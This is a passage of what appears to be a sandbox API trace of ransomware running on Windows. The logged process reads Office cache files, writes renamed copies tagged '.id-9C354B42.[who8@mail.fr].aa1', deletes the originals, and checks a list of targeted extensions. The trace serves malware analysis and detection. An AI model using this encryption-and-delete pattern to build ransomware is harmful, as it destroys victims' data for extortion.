(lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0197.811] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.811] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0197.812] GetLastError () returned 0x0 [0197.812] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0198.660] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x900, lpOverlapped=0x0) returned 1 [0198.663] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.664] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0198.664] SetEndOfFile (hFile=0x19c) returned 1 [0198.664] CloseHandle (hObject=0x19c) returned 1 [0198.665] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.665] SetEndOfFile (hFile=0x198) returned 1 [0198.667] CloseHandle (hObject=0x198) returned 1 [0198.667] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0198.667] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0198.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.668] lstrlenW (lpString=".doc") returned 4 [0198.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.668] lstrlenW (lpString=".docx") returned 5 [0198.668] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0198.668] lstrlenW (lpString=".pdf") returned 4 [0198.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.668] lstrlenW (lpString=".xls") returned 4 [0198.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.668] lstrlenW (lpString=".xlsx") returned 5 [0198.668] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0198.668] lstrlenW (lpString=".ppt") returned 4 [0198.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.668] lstrlenW (lpString=".zip") returned 4 [0198.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.668] lstrlenW (lpString=".rar") returned 4 [0198.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString=".bz2") returned 4 [0198.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString=".7z") returned 3 [0198.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.669] lstrlenW (lpString=".dbf") returned 4 [0198.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.669] lstrlenW (lpString=".1cd") returned 4 [0198.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.669] lstrlenW (lpString=".jpg") returned 4 [0198.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.669] lstrlenW (lpString=".doc") returned 4 [0198.669] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString=".docx") returned 5 [0198.669] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0198.669] lstrlenW (lpString=".pdf") returned 4 [0198.669] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString=".xls") returned 4 [0198.669] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.669] lstrlenW (lpString=".xlsx") returned 5 [0198.669] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0198.670] lstrlenW (lpString=".ppt") returned 4 [0198.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.670] lstrlenW (lpString=".zip") returned 4 [0198.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.670] lstrlenW (lpString=".rar") returned 4 [0198.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.670] lstrlenW (lpString=".bz2") returned 4 [0198.670] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.670] lstrlenW (lpString=".7z") returned 3 [0198.670] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.670] lstrlenW (lpString=".dbf") returned 4 [0198.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.670] lstrlenW (lpString=".1cd") returned 4 [0198.670] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.670] lstrlenW (lpString=".jpg") returned 4 [0198.670] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.670] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0198.670] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0198.670] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.672] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1450) returned 1 [0198.672] CloseHandle (hObject=0x198) returned 1 [0198.672] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0198.672] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0198.672] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.673] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.673] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0198.673] GetLastError () returned 0x0 [0198.673] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0198.688] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0198.689] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.689] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0198.689] SetEndOfFile (hFile=0x19c) returned 1 [0198.689] CloseHandle (hObject=0x19c) returned 1 [0198.690] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.690] SetEndOfFile (hFile=0x198) returned 1 [0198.691] CloseHandle (hObject=0x198) returned 1 [0198.691] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0198.691] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0198.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.692] lstrlenW (lpString=".doc") returned 4 [0198.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.692] lstrlenW (lpString=".docx") returned 5 [0198.692] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0198.692] lstrlenW (lpString=".pdf") returned 4 [0198.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.692] lstrlenW (lpString=".xls") returned 4 [0198.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.692] lstrlenW (lpString=".xlsx") returned 5 [0198.692] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0198.692] lstrlenW (lpString=".ppt") returned 4 [0198.692] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.692] lstrlenW (lpString=".zip") returned 4 [0198.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.692] lstrlenW (lpString=".rar") returned 4 [0198.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.692] lstrlenW (lpString=".bz2") returned 4 [0198.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.692] lstrlenW (lpString=".7z") returned 3 [0198.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.693] lstrlenW (lpString=".dbf") returned 4 [0198.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.693] lstrlenW (lpString=".1cd") returned 4 [0198.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.693] lstrlenW (lpString=".jpg") returned 4 [0198.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.693] lstrlenW (lpString=".doc") returned 4 [0198.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.693] lstrlenW (lpString=".docx") returned 5 [0198.693] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0198.693] lstrlenW (lpString=".pdf") returned 4 [0198.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.693] lstrlenW (lpString=".xls") returned 4 [0198.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.694] lstrlenW (lpString=".xlsx") returned 5 [0198.694] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0198.694] lstrlenW (lpString=".ppt") returned 4 [0198.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.694] lstrlenW (lpString=".zip") returned 4 [0198.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.694] lstrlenW (lpString=".rar") returned 4 [0198.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.694] lstrlenW (lpString=".bz2") returned 4 [0198.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.694] lstrlenW (lpString=".7z") returned 3 [0198.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.694] lstrlenW (lpString=".dbf") returned 4 [0198.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.694] lstrlenW (lpString=".1cd") returned 4 [0198.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0198.694] lstrlenW (lpString=".jpg") returned 4 [0198.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.694] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0198.695] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0198.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.696] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=3186) returned 1 [0198.696] CloseHandle (hObject=0x198) returned 1 [0198.696] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0198.696] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0198.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.696] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.697] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.697] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0198.697] GetLastError () returned 0x0 [0198.697] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0xc72, lpOverlapped=0x0) returned 1 [0198.708] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0198.711] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.711] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0198.711] SetEndOfFile (hFile=0x19c) returned 1 [0198.711] CloseHandle (hObject=0x19c) returned 1 [0198.717] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.717] SetEndOfFile (hFile=0x198) returned 1 [0198.937] CloseHandle (hObject=0x198) returned 1 [0198.937] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0198.937] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0198.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.938] lstrlenW (lpString=".doc") returned 4 [0198.938] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.938] lstrlenW (lpString=".docx") returned 5 [0198.938] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0198.938] lstrlenW (lpString=".pdf") returned 4 [0198.938] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.938] lstrlenW (lpString=".xls") returned 4 [0198.938] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.938] lstrlenW (lpString=".xlsx") returned 5 [0198.938] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0198.938] lstrlenW (lpString=".ppt") returned 4 [0198.938] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.938] lstrlenW (lpString=".zip") returned 4 [0198.938] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.938] lstrlenW (lpString=".rar") returned 4 [0198.938] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.938] lstrlenW (lpString=".bz2") returned 4 [0198.938] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.938] lstrlenW (lpString=".7z") returned 3 [0198.938] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.939] lstrlenW (lpString=".dbf") returned 4 [0198.939] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.939] lstrlenW (lpString=".1cd") returned 4 [0198.939] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.939] lstrlenW (lpString=".jpg") returned 4 [0198.939] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.939] lstrlenW (lpString=".doc") returned 4 [0198.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.939] lstrlenW (lpString=".docx") returned 5 [0198.939] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0198.939] lstrlenW (lpString=".pdf") returned 4 [0198.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.939] lstrlenW (lpString=".xls") returned 4 [0198.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.940] lstrlenW (lpString=".xlsx") returned 5 [0198.940] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0198.940] lstrlenW (lpString=".ppt") returned 4 [0198.940] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.940] lstrlenW (lpString=".zip") returned 4 [0198.940] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.940] lstrlenW (lpString=".rar") returned 4 [0198.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.940] lstrlenW (lpString=".bz2") returned 4 [0198.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.940] lstrlenW (lpString=".7z") returned 3 [0198.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.940] lstrlenW (lpString=".dbf") returned 4 [0198.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.940] lstrlenW (lpString=".1cd") returned 4 [0198.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0198.941] lstrlenW (lpString=".jpg") returned 4 [0198.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.941] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0198.941] lstrlenW (lpString="Setup.xml") returned 9 [0198.941] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.941] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=4207) returned 1 [0198.942] CloseHandle (hObject=0x198) returned 1 [0198.942] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0198.942] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all 